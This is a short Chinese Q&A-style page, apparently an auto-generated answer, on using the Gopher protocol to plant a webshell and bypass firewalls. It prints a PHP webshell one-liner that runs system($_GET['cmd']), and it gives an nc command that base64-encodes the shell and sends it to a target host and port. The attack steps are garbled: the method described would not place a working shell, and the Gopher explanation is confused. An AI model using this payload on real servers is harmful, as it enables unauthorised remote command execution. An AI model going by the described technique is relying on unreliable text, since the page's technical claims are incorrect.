使用gopher协议写webshell
时间: 2023-07-20 10:30:04 浏览: 266
Gopher 协议是一个老式的网络协议,它主要用于文本传输和文件下载。由于一些历史原因,Gopher 协议在一些场景下仍然有用处,例如绕过一些防火墙和安全设备。在某些情况下,可以利用 Gopher 协议来写 Webshell,从而实现远程命令执行和文件上传等功能。
下面是一个简单的 Gopher Webshell 例子:
1. 创建一个 PHP 脚本,将其编码为 base64 格式,假设文件名为 `shell.php`。
2. 将编码后的 PHP 脚本内容插入到 Gopher URL 中,形如 `gopher://hostname:port/_<base64-encoded-php-script>`。
3. 在浏览器或者 curl 等工具中访问该 Gopher URL,即可触发 PHP 脚本执行,从而实现远程命令执行和文件上传等功能。
例如,可以使用以下命令在 Linux 系统上写入一个 Gopher Webshell:
```
echo '<?php system($_GET["cmd"]) ?>' | base64 | xargs printf "GET /_%s HTTP/1.0\r\n\r\n" | nc hostname port
```
其中,`hostname` 和 `port` 分别为目标主机和端口号,`cmd` 为远程命令执行参数。此时,访问 `gopher://hostname:port` 即可执行远程命令。
需要注意的是,使用 Gopher 协议写 Webshell 存在一些风险,容易被防火墙和安全设备识别和拦截。此外,由于 Gopher 协议已经过时,一些浏览器和工具可能不支持 Gopher URL。因此,在实际应用中,需要根据具体情况进行选择和调整。